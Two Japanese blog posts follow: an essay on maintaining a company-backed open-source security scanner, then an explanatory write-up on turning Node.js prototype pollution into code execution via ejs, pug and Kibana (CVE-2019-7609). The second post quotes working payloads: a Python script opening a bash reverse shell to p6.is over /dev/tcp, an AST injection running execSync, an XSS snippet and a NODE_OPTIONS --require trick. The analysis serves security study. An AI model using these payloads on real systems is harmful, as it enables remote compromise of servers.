様々な人からIssueやPRを受け取ることになるわけですが、そこから学ぶことはとても多いです。こういうフォーマットに対応するとこういうサービスで使えるよ、とかこのライブラリなら解決できるよ、この機能はこうすれば実装できるよ、といったことまで幅広く教えてもらうチャンスがあります。自分の開発しているOSSの周辺情報は何もしなくてもかなり集まってくるので捗ります。

PRでこういう書き方出来るぞと教わるケースもありますし、自分がレビューで指摘した箇所に関してもPR送ってきた人のほうが理解が深くて自分が間違いを正されることも普通にあります。最初はメンテナーなのに恥ずかしいなとか思ってたんですが、最近はもう勉強になるなぁと思って素直に教わるようになりました。関係ないですが自分にとって凄いと感じる人は部下からでも積極的に学ぼうとする人です。変なプライドは捨てて学べる機会があればどんどん学ぶ人が最終的に強そうです。

深く特定領域を学べる

一つのプロダクトを開発し続けると相当細かい知識を得ることになります。もうこれ世界で自分が一番詳しいだろう、みたいな感覚になります。そうするとその領域を専門分野と呼べるようになるので、自分が何者か自分で説明しやすくなります。

過去の自分は片っ端から色々と手を出して触っていたので、幅広く出来る方だなと不遜にも自分で思っていたのですが「結局自分は何者なんだ?」という思いがずっとありました。あれもこれもそこそこ出来る、でも何も出来ない。という虚無感がありモヤモヤとした日々を過ごしていました。今ではこれが出来ます、と胸を張って言えるようになったので精神的にかなり落ち着いています。

コンピュータサイエンスは幅広いので少し離れただけで門外漢になることはよくあると思いますが、自分の詳しい分野があると物怖じせずにやっていけるなと思います。もし漠然と凄い人々との差を感じているようであれば、個人的なおすすめは色々と手を出すより先に自分の専門を作ることです。

T型人材が良いと言われたりもしますが、TになるためにはーかIをどちらか先に伸ばす必要があります。ー型といっても無限に横に広いので、何かを学んでもまた違う分野のスペシャリストを見かけて焦りを感じる羽目になります。それであればIをしっかり掘り下げてから横に広げる方が精神的には良いと考えています。ただ上で書いたようにメンバーシップ型雇用の場合はー型の方が有利だと思うので必ずしもどちらが良いとは言い切れません。あくまで精神的には専門を先にやる方がおすすめという話です。

www.kaonavi.jp

得た知見を公の場で共有しにくい

上で書いたように特定の領域における細かい知識を多く得ることになるのですが、これらの知見を勉強会等で共有するのは非常に難しいです。プロダクト開発であれば他社でも困っていたりするので自社で困ったことを共有するのは大いに意義があることなのですが、OSS開発で得た細かい部分の知見というのは似たOSSの開発者じゃないと活かせません。

もちろん良いテストコードの書き方とか拡張しやすいアーキテクチャとかフィードバックできる部分もあるのですが、やはりその領域に関する知識は披露する場があまりありません。例えば自分は昨年OSS開発する際にrpmソースコードを読んでデバッグしてrpmdbのバイナリフォーマットを解析したりしたのですが、そんな話多分誰も聞きたくないので自分の脳内に留まっています。もちろんそういう細かい知識を求めている人も世の中には0ではありませんし、何より自分で忘れてしまうので可能であればそういう知識もどこかに書き留めておくほうが良いです。

ただ多くの人に求められているわけではないのでモチベーションにも影響しますし、やはり多くの人にとって有用な知識を共有できるか、という観点でいうと難しく感じます。それよりはAWSの新サービス試してみた、とかCNCFの新しいOSS使ってみた、とかの方がウケは良いと思います。

でもそれが専門分野ということだと思うのであまり気にしてませんし、むしろ上に書いた理由から心地よいとも思っています。ただ今の会社に入って同じことをやっているチームがあり、自分の知見を披露できる場があったのでここぞとばかりに早口で喋り倒しました。というのは嘘で実際には英語でそんなに早く話せないので脳内で話すスピードと英語のスピード差が大きすぎてストレスを溜めました。

いずれにせよ、一人で黙々とやっていた時に比べると議論できる相手がいるというのは嬉しいものです。勉強会とかで話すのもそういう効果があると思いますが、OSSの種類によってはそれは難しい可能性があるということは知っておくと良さそうです。

広く触れない(可能性がある)

例えば一つプロダクト開発しようとするとインフラからアプリケーション、セキュリティまで求められる要素は幅広いです。大企業であれば細かくチームが分かれていることもあるとは思いますが、例えばインフラチーム内だけでもコンテナオーケストレーションだったりストレージだったりサービスメッシュだったりと多岐にわたります。

一方で一つのOSSに集中すると、上で述べたように特定領域を深く掘り下げる必要があります。そうすると幅広く色んな技術を試すといったことは難しくなります。SNSやブログを見ていると色んな人が色んなことをやっていて、それを見て焦ることもあるかもしれません。

過去の自分も自分が知らないことを他人がやっているのを見て焦りを感じていました。そのため少しでも知らないことを減らさなければ...と色々と手を出していました。しかし自分の強みを得たことによってそういった不安はなくなりました。もちろん好奇心をなくしたわけではないので面白そうなことは試していますが、無意味な焦燥感によって全部やろうとしてしまって何の専門領域も持てず器用貧乏になってしまうということはなくなりました。

そのため"広く触れない"、と書きましたがそれがマイナス点だとは思っていません。むしろ他人の活動に惑わされずに自分のするべきことに集中できるので良い点だと思っています。念のため書いておきますが、それを言い訳に新しいことを学ぶ必要がないという意味ではないです。この業界は変化が早いので今の状態が快適だからと他領域の勉強を完全に怠ればすぐに置いていかれると思っています。不必要な焦りや不安がなくなるという点で良いことだと考えています。

発表された新しいツールや技術を次々と試してまとめたり発表するのももちろん楽しいですが、自分で一本軸を持って集中して掘り下げていくのも楽しいです。

なぜ会社としてOSSをやるのか?ということを真剣に考えられる

弊社はまだベンチャーにも関わらず(といっても260名ぐらいはいる)OSSをメインで行うチームがありまして、6名も人員を割いています。さらに兵役中のメンバーも入れると8名ほどいます。GAFAMなどの巨大企業と違い、まだ売上を増やしていかなければならない会社状況でOSSチームが存在しているのは結構珍しいのではないかなと思っています。

大企業であれば社内で必要なものをせっかく作ったからOSSで公開しよう、といった動機も結構あるのではないかと想像しています。そしてコミュニティの協力を得られれば自社の開発リソースも減らせて良い、という感じかなと思っています。

一方で弊社はもっと直接ビジネスに繋げる必要があります。そのためなぜOSSを会社として注力するのか?というミーティングが定期的に開かれます。HashiCorpやElasticの事例を見ながら色々意見を出し合ったりします。かなりたくさんあるのですが、面白いと思った考えをいくつか共有しておきます。

市場の熟成

例えば弊社ではクラウドネイティブのセキュリティ製品を提供しています。そのため、クラウドネイティブの市場に成長して貰う必要があります。さらにDevSecOpsのように開発や運用にセキュリティを統合しようという考えも推進しているのですが、残念なことに世の中的にはまだそこまで広まっていません。もちろん感度の高い一部の方にとっては当たり前になっていますが、それ以外の人にとっては全く馴染みがなかったりします。知らない概念のものを導入しましょう、といった営業をかけたところで勝ち取るのはとても難しいです。そのため、まず人々にDevSecOpsという考え方に慣れてもらう必要があります。

そこで、OSSとしてそれらの概念を体験できるものを提供することで多くの人に慣れてもらいます。OSSであれば無料なので導入のハードルはそこまで高くありません。一部にはサポートのないOSSなんざ使わんという企業もありますが、全体で見れば有料製品の導入に比べたら確実に多くの人に使ってもらうことが出来ます。

そうして市場の熟成を促し、その上でOSSの不足部分を製品によって補ってもらうという進め方が可能です。自分だったらどうやって自社製品の売上に繋げるかという目先のことばかり考えてしまって、そういった大きい視点は持てません。このやり方が正解かどうかはまだ分かりませんが、少なくとも自分にとっては非常に興味深かったです。

有料化のしやすさ

OSSを主軸にビジネスしている企業はいくつかのタイプに分かれます。OSSの保守契約でお金を貰うパターン、自社ホスティングなら無料だがSaaSは有料というパターン、OSSの不足機能が有料版では使えるというパターン、などなど。いずれにせよ既にOSSを使ってくれている企業であれば、完全なる0から導入に繋げる場合と比べて有料化は容易になります。全く聞いたことのない企業が営業に来るよりも、既に使っているOSSの開発元であれば信頼度も異なります。

一方でOSS版で十分だから有料化は要らない、となる恐れもあります。そのため、OSSによって失う顧客と得る顧客の率を考慮して戦略を展開する必要があります。そのへんは詳細省きますが、色々議論していて面白いです。

品質の向上

これは実際にElasticの方に伺ったことなのですが、元々有料プラグインのX-Packはクローズドソースだったものの、現在ではソースコードが公開されています。

elasticsearch/x-pack at master · elastic/elasticsearch · GitHub

クローズドで開発していたときはどんどんソースコードがスパゲッティになっていってしまったが、公開してからは品質が保たれるようになったとのことです。やはり第三者に見られる、ということで雑なコードは入れられないという意識が働くのかなと思っています。

ちなみに公開しちゃったら有料化出来ないじゃんと思うところですが、特定のディレクトリだけ異なるライセンスで提供されています。Elasticsearch全体はApache Licenseでx-pack以下だけElastic Licenseになっています。こうすることで、ソースコードを公開しながらもOSSとしては利用できないようにしています。なのでX-Packの例は厳密にはOSSではなくソースコードを公開することによる利点の話になります。

ここら辺のライセンス戦略というのも各社の色が出ていて面白いです。

カンファレンスでの発表

当たり前のことですがOSS系のカンファレンスであれば発表内で製品の宣伝をすることは出来ません。つまりLinux Foundation系のOpen Source SummitとかKubeConでの発表ができなくなります。しかし自社でOSSを持っていれば遠慮なく発表しに行くことが出来ます。ユーザ企業であれば自社事例などの道が残されていますが、セキュリティベンダーとなるとそれも少し難しいです。そのため、OSSによって発表ができるというのは会社の知名度を上げる上で有用です。

実際、うちのチームのマネージャーは年間で信じられない回数の発表をこなしています。その結果ベンチャーにも関わらずクラウドネイティブ界隈で弊社の名前を知っている人はとても多く感じます。それら発表の中にはKubeConのKeynoteとかも入っていて化け物説あるので単に発表する場合とは少し事情が異なるかもしれません。

ファンを作る

これはうちのマネージャーが明確に目標に掲げていることなのですが、OSSを通じて自社のファンを作るということを目指しています。OSSを好きなソフトウェアエンジニアというのは多いです。さらに単に好きなだけではなくて勉強会などで発表してくれたりもします。「あれ使ってみた?良かったからおすすめ」という会話がエンジニア間ではよくなされます。そうして口コミで広がってくれれば、自分達で宣伝しなくても多くの人に知ってもらえます。

さらに良いツールを提供している開発元というのは開発者に愛されます。自分も使っているツールなどは開発元を見に行って、「こういう会社が作ってるのか。良い会社なんだろうな。」と思ったりしています。そういった状況になってからであれば、「おたくのツール使ってますよ!」となってスムーズに話が進みます。

会社の売上に貢献できる方が精神的に楽

これは人によると思うのですが、完全に会社の売上には関わらないというよりは多少でも貢献できる方が精神的に楽です。もちろん会社としてやっている以上、会社にとって完全に無駄ということはないと思いますし自動化による工数削減とかマシンリソース削減によるコスト削減とか何かしらに繋がっているとは思います。しかし自分にとってはそれでも申し訳ない気持ちが残りました。実際に過去に所属していた企業で業務でOSSへコントリビュートしても良いよ、と言っていただいたものの全然企業にとってプラスに感じられなくて申し訳なさでいっぱいになったことがあります。業務時間の10%とかならもちろん問題ないですが、もっと真面目に貢献したいと思い始めると50%とかもっと時間を使いたくなります。そうなった時に自分の中で(あと会社との間で)折り合いをつけられるか、は重要だなと感じました。

これは恐らく人によるので、全然気にならない人もいるはずです。自分は給料貰っている以上は何かしら貢献したいという正義マンな部分があったので、もう少し直接的に貢献したいと思っていました。しかしだからと言ってつまらない仕事をしてまで会社に尽くしたいというほどの自己犠牲マンでもなかったので、完全にわがままマンです。

もしそのような考えの人が自分以外にいたら、単に毎日OSS開発すれば良くてサイコーとならないことは注意して欲しいです。今は自分はOSS開発して好きなことやりながら、それをSaaSとして提供してくれる別のチームがあってビジネスに繋げてくれます。このバランスは正直言って精神衛生上最高なので、OSS開発して会社に何のメリットがあるの?というのは事前に良く相談したほうが良いです。単に好きなことだけやっていると苦しくなる時が来る可能性があります。

そういう点で考えると巨大OSSの1メンテナーというのは会社への貢献度合いをどう評価するか難しいかもしれないと感じました。もちろんLinuxディストリビューションを売っているのでLinuxのメンテナーをたくさん抱えています、というのは至極当然な方針だなと感じますが、単に会社でLinuxを使っているので1人メンテナーを雇いますとはならなさそうです。メンテナーがいることで必要になった機能やバグを直してもらいやすいとかはあると思いますが、それもどの程度発生するのか次第で年に1度程度ならそれ以外の期間は何をするのか?というのが問題になりますし、そもそも多くメンテナーがいるOSSだと一存で決められるわけでもないので会社で一人メンテナーを抱えていてもどの程度影響を及ぼせるか、というのが問題になってきます。

その点、自社開発のOSSやそのOSSを製品化しているケースなどはメンテナーの存在がより重要性を増すので良さそうだなと思います。自分は今まさにそのケースなので思う存分集中できています。ある程度大きくなるとベンダーニュートラルじゃないと嫌だという方向性になってくるので難しいのですが、それは今回は置いておきます。

ということで仮に会社としてOKを出したとしても開発者側がいたたまれなくなるということもあり得るので、やはり会社側と自分側の双方において最初にきちんと合意しておくのが良さそうです。

ユーザからのフィードバックが助かる

やはりOSSの良いところですが、ユーザが使ってくれてバグを見つけて報告してくれます。中にはPRを送ってくれて直してくれる人もいます。現在弊社では有償版とOSSで中身が異なっているのですが(OSSは買収されてあとでファミリーに加わったため)、OSSで報告されたバグが有償版にも存在するということは多くあります。そういう場合はOSSがコミュニティと協力してバグを直し、それらを有償版にフィードバックするということが行われます。製品開発をしていると分かると思いますがQAのコストというのは大きいため、自発的に協力しようとしてくれるOSSコミュニティには本当に救われています。

さらにはバグだけでなく機能追加や新しい脆弱性データソースなども共有してくれます。CircleCIはJUnit XMLに対応してるからJUnit XMLの形式で出力できると便利だ、とかあの機能が非推奨になったらしい、という情報も入ってきます。このライブラリ使えばバイナリからこういう情報が取れる、とかこのデータソース使えばあの脆弱性も検知できそうだ、とか教えてもらったことは数え切れません。本来であれば自分で収集しなければ得られない情報ですが、OSSを公開しているだけで次々と情報が入ってくるのは大きな価値だと思います。これらはもちろん有償版にもフィードバックされます。

メンテナンスコストが高くなる

利用者が増えてくると要望が増えてきます。その機能いる?!みたいなのも多く見受けられます。そういう時に趣味であれば「不要だと思うのでクローズします」といったことが可能です。もちろんせっかくIssue/PR上げてくれた人をぞんざいに扱うのはよくありませんが、無料でメンテナンスしていて義務があるわけではないので無理に対応する必要はありません。

しかし企業として提供しているOSSとなればそうもいきません。上に書いたようにOSSを提供する目的としてファンを作るというのを掲げている以上、ある程度細やかな対応が求められます(量が多すぎて捌ききれない問題はまた別に存在してます)。そうするとカスタマーサポートをしている気分になってきてこれ自分の仕事なのかな...となります。幸いなことにまだクレーマーのような人はいませんが、ドキュメントにちゃんと書いてるのに...といったことを質問してくる人は多いです。

他にもニッチな機能なので追加したくないけど穏便に済ませたいので慎重に議論を進める必要があったりすることもあります。これは結構精神を削ります。

微妙なラインだけど幸せになる人もいるだろうしせっかくPR送ってきてくれたから追加するか、と一旦マージするとその後のメンテナンスコストは自分たちに降ってきます。その一回で終わらずにずっとそのコストは増えたままなので、本来であれば拒否するべきです。しかし人間の心情的にそこまで機械的に弾くのは難しいですし、自分の心との戦いになる部分があります。もちろんニーズの有無などから判断するべきなのですがOSSの場合は勝手に利用状況を取得するわけにもいかず、どの機能が使われているのかなどを把握するのが難しいです。

方針を決められなくなる

元々自分が作っていたOSSの場合の話になるのですが、初期は当然全て自分の判断で開発できます。しかし会社に譲渡してからは会社の方針に従う必要があります。これがなかなか大変です。

例えば自分の場合はとにかくツールを小さく作ろうと最初にポリシーを定めてから開発を始めました。そのため、余分な機能や情報は足したい衝動と戦いながらも泣く泣く落としてきました。大きくなればなるほどメンテナンスも大変になるし利用者にとっても学習コストが高くなります。何でも出来る万能ツールより小回りの利く小さいツールのほうが将来を考えると良いだろう、と決めてやってきたのですが会社としては何でも出来るツールにしたいということで何度も議論したのですが結局自分が折れることになりました。

元々はCIで使えるようにコンテナイメージの脆弱性スキャンをする軽量なツールを作っていたのですが、今ではサーバ機能だったりファイルシステムやDockerfile内からスキャンする機能も追加されています。自分の掲げた理想からはどんどん離れていって「くぅ〜」となりましたが、一方でそれらを必要としているユーザもいるので一概に悪とも言えず難しいところです。

また、セキュリティツールにとってfalse positiveがないことが最も重要であるというのが自分のポリシーです。大量に検知すればfalse negativeを減らせますが、大量にアラートを出すセキュリティ製品はやがて誰も見なくなります。もちろんそれが正しいアラートならまだ良いですが、嘘ばかりとなれば嫌気が差します。オオカミ少年と同じです。

そのため、自分はツールを作る上で過検知しそうな機能は極力入れないようにしました。仕組み上、全ての脆弱性を検知するのは難しくどうしても検知できない部分があります。しかしそれを検知しようとすると今度は過検知の可能性が高くなります。そういう部分は許容するというのをポリシーとしてやってきました。

ですが会社としては仮に過検知したとしてもやりたいという方針です。こちらも話し合いましたが追加する方向性になっています。

ただし会社としても意見を押し付けているわけではありません。過検知してもいいから検知数を増やして欲しいという声が顧客から多いのを見て判断しています。そのため会社の考えもわかりますし会社の方針はおかしい!やりたくないことをやらされている!とか言いたいわけではなくて、単に自分一人で何でも決められた頃とは変わってしまうという話です。会社としてもより良くしようと考えて意見を出しているので自分にはない視点からのアイディアも多く得られますし、それ自体は良いことだと思っています。

そして会社はオリジナルの開発者である自分の意見を尊重してくれます。自分がヤダヤダと子供並みにゴネると受け入れてくれます。なのであくまでフラットに議論した上で今回は会社の方針に従います、といった決定がなされているだけなので何か問題があるわけではありません。

宣伝は必要

上で発表等しなくてもアウトプットできるので良いということを書いたのですが、せっかく良いものを作っても誰にも知られなければ意味がないのである程度の宣伝は必要になってきます。そうなるとやはりブログ書いたり登壇したりということになるので結局逃れられない...となるわけですが、プロダクトありきで発表するのはかなり楽だなと感じています。そのプロダクトについて自分が世界一詳しいので間違ったこと言ってないかなと不安になることもないですし、周りが凄い発表だらけでも「でも自分は良いものを作ったから大丈夫」と心を強く保てます。

自分はこの宣伝がとても苦手で、物怖じせず売り込んでいける人を見ていつも凄いなと思っています。今は仕事だしなとある程度割り切ってやっているので多少楽ですが、そういう作業が発生する可能性は頭の片隅に置いておく必要があります。そしてOSSの特性上、恐らく英語でのブログや海外での発表が求められたりします。自分はゴネたけど無理だったのでこの1年でCNCF webinarやKubeConなど3,4回は発表しました。プロポーザル出す時の知見も以下に書いてあるので興味があれば読んでみて下さい。

knqyf263.hatenablog.com

大変ではありますが自分の中で良いものが開発出来たと思えればそこまで苦じゃなくなりますし、せっかくなら楽しめるようになっていければいいなと思っています。

まとめ

後半大変な点も少し挙げてみましたが、全体で見れば本当に微々たる話です。多少しんどいところもあるということを知ってもらいたくて書いたものの、実際には楽しさが全てを凌駕します。毎日こんなにストレスゼロで労働して良いのだろうか?いやそもそもこれは労働なのか?というのが最近の所感です。

ということで興味ある人は一度やってみると良いと思います。現時点ではそういうポジションがあまりないかもしれませんが海外では多く見かけますし、日本でも将来増えると期待しているのでその時に備えて自分で趣味のOSS開発を続けてみるとか、出来ることから始めておくと良いかもしれません。

Node.jsでプロトタイプ汚染後に任意コード実行まで繋げた事例

概要

前回Node.jsのプロトタイプ汚染を起こすためのバイパス方法について記事にしました。

knqyf263.hatenablog.com

プロトタイプ汚染後に何が出来るのか、ということについては基本的にアプリケーション依存なのであまり話題になることは少ないです。

自分の知る限り一番多いのは

if(user.isAdmin) {
  // do something
}

といったような重要なプロパティを書き換えることで権限昇格する例です。ただし、自分の理解では isAdmin が初期化されていないことが前提条件として必要です。

const obj1 = {};
const obj2 = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge(obj1, obj2)

var a = {}
a.isAdmin // true

var b = {isAdmin: false}
b.isAdmin // false

つまり、プロトタイプ汚染が起きていたとしても上記のようにisAdminがそのオブジェクト自体に定義されていればプロトタイプチェーンで __proto__isAdmin を見に行く必要がないため b.isAdmin はfalseになります。そのため、プロトタイプ汚染が起きると即座に任意のプロパティが書き換えられて危険ということはなくて、未初期化なプロパティが攻撃対象となると思います。そのため、実装によっては影響をあまり受けないケースというのも多いのではないかと考えています。

そんな中で、OSSに対してプロトタイプ汚染を用いて攻撃を成功した例をブログで見かけたので事例をいくつかまとめました。ブログを読んで感想を述べるだけのゆるふわな記事です。

事例を駆け足でまとめたので、改めて読むとちょっと分かりにくいところもありそうです。ちゃんと細部を理解したい方は各ブログを読むことをおすすめします。

詳細

プロトタイプ汚染後の攻撃に関する前提

考えてみると当たり前の話なんですが、少し面白いのはプロトタイプ汚染を引き起こす口とそれが実際に発火する場所は全く異なって良いということです。 Object.prototype を汚染するとあらゆるオブジェクトに影響が出るため、とあるOSSでプロトタイプ汚染を引き起こしてその後はアプリケーション固有の実装で発火(上記のisAdminのような例)、とか、あるOSSで汚染したあとに全く別のOSSの実装箇所で発火(このあと説明します)、ということも可能なわけです。

実際に発火する別のOSS自体は全く脆弱ではなくても攻撃に利用されてしまいます。やはりグローバルの汚染というのはなかなかに強烈だなと感じています。

ejsの例

以下のブログ内で紹介されていた方法になります。

blog.p6.is

前回の記事で紹介した express-fileupload のプロトタイプ汚染を利用してテンプレートエンジンである ejs にて任意コード実行をさせる方法です。つまり、上述した通りejs自体には何の脆弱性もありません。

この攻撃方法は中国のCTFで出題されていたようです。

github.com

まず最初にこの攻撃を再現するためのサンプルコードを上のブログから引用します。

const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.get('/', (req, res) => {
    console.log(Object.prototype.polluted);
    res.render('index.ejs');
});

app.listen(7777);

本題からずれるのですが、 app.set(‘view engine’, ‘ejs’) とかは不要なんでしょうか。ドキュメントやブログ等を参照すると全てで設定していたのに、手元で試したら設定せずともejsのコードが呼ばれていました。

github.com

拡張子がejsだから自動でejsを使ってくれる機能があるのかなと思いましたが、今回のテーマはそこじゃないので一旦忘れます。

この例ではexpress-fileuploadが脆弱なためプロトタイプ汚染が可能です。しかしexpress-fileupload内でコマンド実行を狙うのではなく、別のOSSであるejsの変数を狙います。

具体的には outputFunctionName というejs内で利用される変数を汚染します。以下はejsのコードですが、動的にNode.jsのコードを組み立てています。その中で outputFunctionName が埋め込まれていることが分かります。

    if (!this.source) {
      this.generateSource();
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output.join("");' + '\n';
      this.source = prepended + this.source + appended;
    }

さらにこのオプションはデフォルトで定義されていないため、プロトタイプ汚染にもってこいな値となっています。自由にNode.jsのコードを埋め込めるということは自由にOSコマンドも実行可能ということを意味します。

上のブログでは丁寧にPythonスクリプトも載せてくれていました。

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'

# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://p6.is:7777')

上のスクリプトを見ると __proto__.outputFunctionName を汚染してNode.jsのコードを埋め込んでいることが分かります。

ここで面白いのは最初のPOSTリクエストでは発火せずにexpress-fileupload経由で汚染するだけで、2回目のGETで発火するところです。手元で試しましたが、恐ろしく簡単に成功しました。当たり前ですが汚染された状態のままなので、次回以降のGETリクエストでは常に発火します。

ejsの outputFunctionName が狙い目というのは知っている人の間では常識のようです。

pugの例

こちらも同じ方のブログで紹介されていた方法です。

blog.p6.is

pugも上述したejs同様に広く使われているテンプレートエンジンです。使い方もブログにあったものをそのまま持ってきていますが、テンプレートを定義してコンパイルし、生成された関数に対して変数を渡して結果を出力するというシンプルなものです。

const pug = require('pug');

const source = `h1= msg`;

var fn = pug.compile(source);
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works</h1>

これも本題からずれますが、利用例などを見ていたのですがあまりpug.compileしている例を見つけられませんでした。

pug.compile は受け取った文字列をテンプレート関数に変換しています。その後、生成された関数(上の場合はfn)を使って最終的な値を出力しています。内部でどのようなことが行われているのかを確認します。

f:id:knqyf263:20200810230933p:plain

Lexerがテンプレートを解析してTokensにし、ParserがASTに変換し、CompilerがFunctionを生成するという一般的な流れです。ということでASTを処理する箇所があるのですが、今回の方法ではプロトタイプ汚染によってASTを途中で注入するというのがユニークなところです。

以下のように walkAST 内で ast.block にアクセスする処理があります。

switch (ast.type) {
    case 'NamedBlock':
    case 'Block':
        ast.nodes = walkAndMergeNodes(ast.nodes);
        break;
    case 'Case':
    case 'Filter':
    case 'Mixin':
    case 'Tag':
    case 'InterpolatedTag':
    case 'When':
    case 'Code':
    case 'While':
        if (ast.block) {
        ast.block = walkAST(ast.block, before, after, options);
        }
        break;
    ...

pugの該当箇所は以下です。

github.com

ブログ内では ast.typeWhile の場合に ast.block が処理されると書いてありましたがbreakがないので、その上のcaseにマッチしても処理されそうです。いずれにせよテンプレート内で変数を使っていれば通る処理であり、特に複雑な条件は必要ないとブログでは書かれていました。そもそも変数使わないならテンプレートエンジン使わないと思うので高確率で処理されるということかと思います。

このblockというプロパティはASTである必要があるため、プロトタイプ汚染を使ってblockにASTを注入します。そしてそのASTの val というプロパティが最終的な結果に出力されるようです。言葉では分かりにくいのでサンプルコードを見ます。

const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

上の例では Object.prototype.block を汚染してASTを注入しています。この汚染は説明したように別のOSS経由でも良いです。そうすると結果の最後に val として与えた文字列が足されていることが分かると思います( <script>alert(origin)</script> の部分)。

あまりその辺りの説明がないので分からないですが、プロトタイプ汚染によって Object.prototype.block 経由でASTに新しくノードを足したことで、本来テンプレートにはない値が追加されてしまったのだと思います。そのASTを基にFunctionを作っているため、そちらにも混入し当然最終結果にも含まれます。

理解が間違ってる可能性があるのでテンプレートエンジンのプロから指摘あればお願いします。

無事に任意のノードをASTに入れることが出来るようになったので、あとはそれを使って悪用するステップになります。

pug-code-genではASTを基に関数を生成するわけですが、その中に以下のような処理があります。

if (debug && node.debug !== false && node.type !== 'Block') {
    if (node.line) {
        var js = ';pug_debug_line = ' + node.line;
        if (node.filename)
            js += ';pug_debug_filename = ' + stringify(node.filename);
        this.buf.push(js + ';');
    }
}

pug/index.js at f97ebdb48c7c0fdd4ff4b7418dcf4e03b27a1405 · pugjs/pug · GitHub

pug_debug_line を定義する処理ですが、そこに node.line の値を入れています。これはデバッグ用途で行番号を保存するための変数になります。 node.line が存在すれば代入し、なければskipするようになっています。

当たり前ですが、この node.line は本来常にintegerになります。nodeは pug-parser によって渡される値のはずなので、integer以外が渡されることはあり得ません。しかし既に見てきたように我々はAST Injectionによって自由な node を定義可能です。

ということは node.line 経由で自由なNode.jsのコードが渡せてしまうとうことです。

const pug = require('pug');

Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};

const source = `h1= msg`;

var fn = pug.compile(source, {});
console.log(fn.toString());

このように line の値としてOSコマンドが実行される処理を渡します。その結果生成される関数は以下のようになります。

function template(locals) {
    var pug_html = "",
        pug_mixins = {},
        pug_interp;
    var pug_debug_filename, pug_debug_line;
    try {;
        var locals_for_with = (locals || {});

        (function (console, msg, process) {;
            pug_debug_line = 1;
            pug_html = pug_html + "\u003Ch1\u003E";;
            pug_debug_line = 1;
            pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp));;
            pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString());
            pug_html = pug_html + "ndefine\u003C\u002Fh1\u003E";
        }.call(this, "console" in locals_for_with ?
            locals_for_with.console :
            typeof console !== 'undefined' ? console : undefined, "msg" in locals_for_with ?
            locals_for_with.msg :
            typeof msg !== 'undefined' ? msg : undefined, "process" in locals_for_with ?
            locals_for_with.process :
            typeof process !== 'undefined' ? process : undefined));;
    } catch (err) {
        pug.rethrow(err, pug_debug_filename, pug_debug_line);
    };
    return pug_html;
}

真ん中の辺りに pug_debug_lineline の値を代入するところがあります。

pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString());

id コマンドを実行しています。この関数が pug.compile の結果として返され、その関数を実行するので無事にOSコマンドが実行されます。念の為再掲しておきますが、 fn の部分です。

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

ということでプロトタイプ汚染を使うことでLexerの処理をバイパスして好きなASTを入れるという方法でした。何というか面白かったです(小学生並みの感想)。

ブログ内では Handlebars に対するAST Injectionの方法も解説されているので興味がある人は読んでみて下さい。

Kibanaの例(CVE-2019-7609)

最後にKibanaの任意コード実行の例です。上の2つの例と違って、Kibana上でプロトタイプ汚染をしてそのままKibanaで任意コード実行につなげるパターンです。上の2つはテンプレートエンジンの正常な挙動とプロトタイプ汚染を組み合わせた例なので脆弱性ではないですが、こちらはKibanaの脆弱性になります。個人的にはこれが結構好きです。

詳細が知りたい方は以下のブログをどうぞ。

research.securitum.com

まず脆弱性はKibanaのTimelion機能にありました。

f:id:knqyf263:20200811040829p:plain

Timelionでは props という関数を使ってラベルを生成することが出来ます。上の例では .es(*).props(label='ABC') としているのでABCになります。実はこのpropsは文字列だけではなくてオブジェクトもlabelに代入することが出来ます。つまり、 .es(*).props(label.x='ABC') と指定するとラベルは { x: 'ABC' } になります。

もうここまで真面目に読んできた人なら分かると思いますが、以下の方法でプロトタイプ汚染が可能です。

.es.props(label.__proto__.x='ABC')

プロトタイプ汚染の良いところは、一度汚染してしまえばこのTimelion機能に関わらず全ての機能が攻撃対象となるところです。そこで、このブログの筆者はCanvas機能を利用した時に child_process.spawn されていることに気付いたそうです。具体的にはKibanaが node のプロセスを起動しようします。

とはいえその引数を簡単に汚染して終了という感じではなかったようです。恐らくこれはプロパティが未初期化じゃないとプロトタイプ汚染が刺さらないというところに関係していると思います。nodeコマンドに渡す値が空ということはないと思うので。ですが、さらに調査して環境変数を設定する箇所を見つけました。

var env = options.env || process.env;
var envPairs = [];
 
for (var key in env) {
  const value = env[key];
  if (value !== undefined) {
    envPairs.push(`${key}=${value}`);
  }
}

1行目から感じられる通り、options.env はデフォルトでは設定されていないようです。そのためプロトタイプ汚染に最適な変数です。つまり、環境変数が自由に設定できるようになりました。とはいえ実行できるコマンドはnodeに固定されており、ここからどうするのかなと自分も気になったのですが、nodeには NODE_OPTIONS という環境変数があり、これを使うとnodeの引数を制御できるようです。

さらにnodeには --eval という変数がありこれでゲーム終了かと思いきや、 NODE_OPTIONS 経由での --eval は許可されていなかったとのことです。

$ node --eval 'console.log(123)'
123
$ NODE_OPTIONS='--eval console.log(123)' node
node: --eval is not allowed in NODE_OPTIONS

念の為手元でも試してみましたが動かずでした。しかしさらなる執念で --require を発見します。これはnode起動時にJavaScriptの任意のファイルを読み込めるというものです。

ラッキーなことにこちらは NODE_OPTIONS 経由でも動きます。

$ echo 'console.log(123)' > file.js
$ NODE_OPTIONS='--require ./file.js' node
123
Welcome to Node.js v14.5.0.
Type ".help" for more information.
>

やはり自分の環境でも動きました。nodeのインタプリタが起動する前に123が出力されています。

